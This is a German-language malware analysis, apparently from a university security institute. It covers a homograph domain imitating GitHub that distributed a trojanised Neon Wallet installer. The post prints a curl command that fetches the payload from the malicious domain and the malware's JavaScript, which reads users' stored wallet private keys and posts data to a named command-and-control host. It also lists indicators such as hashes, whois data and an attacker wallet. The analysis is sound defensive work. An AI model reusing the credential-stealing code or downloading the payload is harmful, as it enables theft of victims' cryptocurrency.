Homographischer Angriff auf Neon Wallet

Homographischer Angriff auf Neon Wallet

Am 08.03.2019 ist eine neu registrierte Domain aufgefallen, die Microsofts Webseite github.com imitiert: xn--gihub-ns1b[.]com (giṭhub[.]com). Bei dieser Domain handelt es sich um einen internationalisierten Domainname (IDN), der Buchstaben aus einer Vielzahl an Alphabeten erlaubt. Erst bei genauerem Hinsehen fällt auf, dass es sich nicht um die echte Domain von GitHub handelt, sondern der Buchstabe t verändert wurde.

Die Domain imitiert dabei die Release-Seite einer Kryptocoin Wallet-Software mit dem Namen Neon Wallet, die auf der GitHub-Seite CityOfZion/neon-wallet 0.2.6 zum Download zur Verfügung steht. Während die legitime Seite die Wallet-Software zur Verfügung stellt, ist auf der homographischen Domain eine Schadsoftware (Malware) hinterlegt.

Wie in den Screenshots zu erkennen, unterscheiden sich die SHA256-Hashwerte der jeweiligen Windows-Version. Die gutartige Variante hat den SHA256 Hashwert d0e4b1614439d6d72fc4f4cfc8f9f6c52aec8f4f413bf5f02a717ace7d7c8d59 und die schadhafte Datei hat den Wert 8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02. Daher haben wir uns die Datei einmal näher angeschaut.

Die Links auf die anderen Dateien zeigen auf die offizielle GitHub-Seite der Wallet.

Malware-Verteilung

Die Malware-App wird dabei wie folgt heruntergeladen.

$ mkdir neon-wallet-malware
$ cd neon-wallet-malware
$ curl -fsSLOR https://www.xn--gihub-ns1b.com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe
$ sha256sum Neon-0.2.6.Windows.exe
8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02  Neon-0.2.6.Windows.exe

Der Hashwert der heruntergeladenen Variante stimmt immerhin mit dem auf der Imitationsseite angegebenen Wert überein. Die heruntergeladene Datei ist ein NSIS-Setupprogramm (NSIS steht für Nullsoft Scriptable Install System) für die Wallet-Software.

$ file Neon-0.2.6.Windows.exe
Neon-0.2.6.Windows.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Dieser Installer kann mittels 7zip entpackt werden.

$ 7z l Neon-0.2.6.Windows.exe
[...]
Listing archive: Neon-0.2.6.Windows.exe

--
Path = Neon-0.2.6.Windows.exe
Type = Nsis
Physical Size = 31870913
Method = Deflate
Solid = -
Headers Size = 96082
Embedded Stub Size = 68096
SubType = NSIS-3 Unicode BadCmd=11

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    .....                      6540  $PLUGINSDIR/System.dll
                    .....                      4615  $PLUGINSDIR/SpiderBanner.dll
                    .....                      2027  $PLUGINSDIR/nsProcess.dll
                    .....                     42421  $PLUGINSDIR/StdUtils.dll
2018-08-08 20:17:50 .....     31386684     31386684  $PLUGINSDIR/app-32.7z
                    .....                    219732  $PLUGINSDIR/nsis7z.dll
2018-08-08 20:17:50 .....                    118551  Uninstall Neon.exe
                    .....                      1080  $PLUGINSDIR/WinShell.dll
------------------- ----- ------------ ------------  ------------------------
2018-08-08 20:17:50           31386684     31781650  8 files

Die Zeitstempel im Archiv deuten an, dass einige Dateien im August 2018 erzeugt wurden. Eine interessante Datei ist $PLUGINSDIR/app-32.7z, welche wiederum die Datei resources/app.asar enthält. Die Neon Wallet-Software nutzt das Electron Framework. Electron-basierte Applikationen enthalten einen Großteil des Quellcodes in einem sog. Asar-Archiv. Asar ist ein Archivformat ohne Kompression, ähnlich zu tar.

$ 7z e Neon-0.2.6.Windows.exe '$PLUGINSDIR/app-32.7z'
$ 7z l app-32.7z resources/app.asar
[...]
Listing archive: app-32.7z

--
Path = app-32.7z
Type = 7z
Physical Size = 31386684
Headers Size = 2130
Method = LZMA2:20 LZMA:20 BCJ2
Solid = -
Blocks = 118

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    ....A      8918951      1697215  resources/app.asar
------------------- ----- ------------ ------------  ------------------------
                               8918951      1697215  1 files
$ 7z e app-32.7z resources/app.asar

Die Datei resources/app.asar mit dem SHA256-Hashwert 3ab0807b31a0963136549bf9abecd487e555029cf38e7d96a86c81b8c30131da kann mit dem dazugehörigen Node.js-Modul (asar) entpackt werden. Die folgenden Schritte erfordern eine Node.js Laufzeitumgebung (node, npm und npx), die etwa von https://nodejs.org/en/download/ bezogen werden kann. Hier wurde Node.js v10.15.3 benutzt.

Zuerst wird das asar Modul installiert:

$ npm install asar

Dann können wir app.asar extrahieren:

$ mkdir app
$ npx asar extract app.asar app/

Dabei sollte die folgende Verzeichnisstruktur entstehen:

$ ls app
css  images  index.html  main.js  node_modules  package.json  renderer.js  src

Malware-Analyse

Eine Electron-App besteht im Grunde aus zwei Teilen: einem Main-Prozess und einem Renderer-Prozess. Der Main-Prozess läuft im Hintergrund, hat vollen Zugriff auf die eingebaute Node.js-Runtime und kümmert sich normalerweise um HTTP-Requests, Dateisystemzugriffe und ähnliches. Der Renderer-Prozess läuft in einem eingebauten Chromium und bildet die grafische Benutzeroberfläche der App.

Der Quellcode einer Electron-App ist größtenteils in JavaScript verfasst. Die Datei package.json enthält Metadaten über diese App.

  [...]
  "main": "main.js",
  [...]

Dies sagt uns, dass main.js der Einstiegspunkt der App ist. Hier wird es interessant.

Der Code in main.js definiert zuerst eine Konfiguration.

let config = {
  "URL": "www.jfasjfoscjepcls.xyz",
  "TOKEN": "HNux2kUwIitzaaCmXtTcAXww1eSNwcyK0pXXMm25mZ9OxT8RjEket5yB4tMTxbHD8LfTTtNqmpdHLiJe",
  "FOR": "neon",
  "WALL": {
    "a": "APyJv6JLP6QoNugQH5BAC3mpxz3MRFsZgk",
    "en": "6PYKDTkVNhDCxvJVy8sHMybtXTie9nohdsuz3vxmmfr8RAPQjzNmtDESQ9",
    "pr": "L2J7PSPfPqpAzaoVanoFPFxz9c4751yHwk8AC3Gg8tGqxy5HpfTX"
  }
}

Die Felder in config.WALL sind die Adresse (a), der Encrypted-Key (en) und der Private-Key (pr) einer Wallet. Der Zweck dieser Wallet-Angaben ist bisher unbekannt. URL, TOKEN und FOR werden für die Kommunikation mit dem Command-and-Control-Server des Angreifers genutzt.

Danach lädt die App alle gespeicherten Wallets des Benutzers.

if (fs.existsSync(path.join(process.env.APPDATA, 'Neon'))) {
  if (fs.existsSync(path.join(process.env.APPDATA, 'Neon', 'storage', 'userWallet.json'))) {
    let localUserData = JSON.parse(fs.readFileSync(path.join(process.env.APPDATA, 'Neon', 'storage', 'userWallet.json'), 'utf8'));
    if (localUserData.hasOwnProperty('accounts')) {
      for (let i = 0; i < localUserData.accounts.length; i++) {
        userData[localUserData.accounts[i].label] = {
          'address': localUserData.accounts[i].address,
          'prv': localUserData.accounts[i].key
        }
      }
    }
  }
}

Die Datei renderer.js enthält die Logik der GUI der Malware-App (Renderer-Prozess). Sobald sie geladen ist, sendet sie ein Event an den Main-Prozess (main.js):

$(document).ready(function(){
[...]
    ipcRenderer.send("app-loaded");
[...]

Der Main-Prozess sendet daraufhin ein (einmaliges) Beacon an den Command-and-Control-Server, dass eine neue Malware-Instanz installiert wurde.

ipcMain.on('app-loaded', (event, arg) => {

  if (typeof _settings.app.install === 'undefined') {

    let postData = querystring.stringify({
      uuid: _settings.app.uuid,
      osType: process.platform,
      type: 'install',
      auth: config.TOKEN,
      version: pack.version,
      for: config.FOR
    });

    var options = {
      hostname: config.URL,
      port: 80,
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': Buffer.byteLength(postData)
      }
    };

    var req = http.request(options, function (res) {

      res.setEncoding('utf8');
      res.on('data', function (chunk) {
        if (isDev()) {
          console.log(chunk);
        };
      });
      res.on('end', function () {

        _pref.set('app.install', true);

      });
    });

    req.on('error', function (e) {
      if (isDev()) {
        console.log(e);
      }
    });

    req.write(postData);
    req.end();

  }

});

Der Renderer- und der Main-Prozess kommunizieren auch über weitere Events:

  • app-loaded
  • new-wallet
  • new-encrypted
  • new-private
  • new-seed

Außer new-wallet initiieren alle diese Events eine Kommunikation (POST) mit dem Server, wobei app-loaded den Parameter type: 'install' gesetzt hat, alle anderen aber type: 'seed'. Bei den Events new-encrypted und new-private erhält der Angreifer den Encrypted-Key und dessen Passwort bzw. den Private-Key des Opfers und bei new-seed den Private-Key und dessen Passwort eines gespeicherten Accounts des Opfers.

Fazit

Bei diesem Angriff nutzt der Angreifer eine gefälschte GitHub-Seite, um Malware zu verteilen und greift anschließend mit Hilfe der Malware die Wallets und die Wallet-Credentials seiner Opfer ab. Mit diesen Daten kann er die Wallets der Opfer übernehmen.

Durch die Registrierung der Unicode-Domain kann der Angreifer seinen Opfern den Link zu der Malware-App zusenden ohne groß Verdacht zu erregen, da der Download-Link sich nur geringfügig vom echten Download-Link unterscheidet, und hier lediglich im Buchstaben t.

https://www.giṭhub,com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe

vs.

https://www.github,com/CityOfZion/neon-wallet/releases/download/0.2.6/Neon-0.2.6.Windows.exe

Insgesamt unterscheidet sich der Code der Malware-App stark von der echten App und es sieht nicht so aus, als würde die Malware-App überhaupt als Wallet funktionieren. Sie will anscheinend nur Wallets abgreifen und nimmt dabei in Kauf, dass ihre Opfer möglicherweise merken, dass die App nicht funktioniert, allerdings ist es dann vermutlich bereits zu spät. Zudem ist der Code der Malware-App zwar etwas unordentlich und ineffizient geschrieben und nicht kommentiert aber nicht obfuskiert, was es Analysten deutlich schwerer machen würde ihre Funktionsweise herauszufinden.

Die Domain jfasjfoscjepcls[.]xyz des Command-and-Control-Servers wurde laut Whois am 31.07.2018 registriert und löst laut RiskIQ seitdem kontinuierlich auf die IP-Adresse 164.132.25.92 auf. Die Whois-Daten dazu lauten:

$ whois jfasjfoscjepcls.xyz
Domain Name: JFASJFOSCJEPCLS.XYZ
Registry Domain ID: D73288729-CNIC
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com
Updated Date: 2018-08-05T18:27:47.0Z
Creation Date: 2018-07-31T18:24:17.0Z
Registry Expiry Date: 2019-07-31T23:59:59.0Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM

Für www[.]jfasjfoscjepcls[.]xyz wurde laut RiskIQ bereits am 05.09.2018 ein Zertifikat ausgestellt. Die angegebene Wallet-Adresse existiert seit dem 27.08.2019 und hatte vom 27.08.2018, 09:35:37 bis 04.09.2018, 05:03:14 Transaktionen.

Die Zeitstempel im NSIS-Installer, die in der Malware enthaltene Wallet-Adresse, das Erzeugungsdatum der Command-and-Control-Domain und der Zeitstempel im Zertifikat von der Command-and-Control-Domain deuten auf einen Aktivitätszeitraum im August und September 2018 hin. Zu dem Zeitpunkt war die Neon Wallet Version 0.2.6 aktuell, die als Vorlage für die homographische Domain dient. Ein Reddit-Beitrag eines vermeintlichen Opfers von Mitte Juni 2018 legt nahe, dass die Aktivität auch schon vor der Veröffentlichung der Version 0.2.6 stattfand.

Recherchen ergaben, dass auch Malware getarnt als die Folgeversionen 0.2.7 und 0.2.8 der Neon Wallet auf der homographischen Domain gehostet werden. Die Dateien besitzen den gleichen SHA256-Hashwert (8d07d17d9d5c94fdd941a109333ab587466a204006d85d5b74dbb4e730a7df02) wie die oben dargestellte Variante. Zudem wurde auf dem gleichen Host eine Datei mit dem Namen Neon-2.0.0.Windows.exe und SHA256 0c7c80a0452bd5dc71b549c554d56a08c7fc0c424b1dd5341f0c78d2c0bd3175 gefunden, aber bisher nicht analysiert.

Das Registrierungsdatum der von uns gefundenen Domain giṭhub[.]com ist 06.03.2019 und deutet somit auf eine aktuelle Aktivität hin. Möglicherweise sind weitere Schadsoftware-Varianten bereits in Vorbereitung. Eine weitere identifizierte, homographische Domain, die der gleichen Aktivität zugeordnet wird, ist gịthub[.]com.

Zum Autor

Jan-Hendrik Frintrop studiert im Masterstudiengang Internet-Sicherheit an der Westfälischen Hochschule. Er befasst sich im Rahmen seiner Masterarbeit bei Prof. Dietrich im Institut für Internet-Sicherheit mit homographischen Angriffen. Erfahren Sie mehr zum Masterstudiengang Internet-Sicherheit und bewerben Sie sich online unter https://www.it-sicherheit.de/master-studieren/.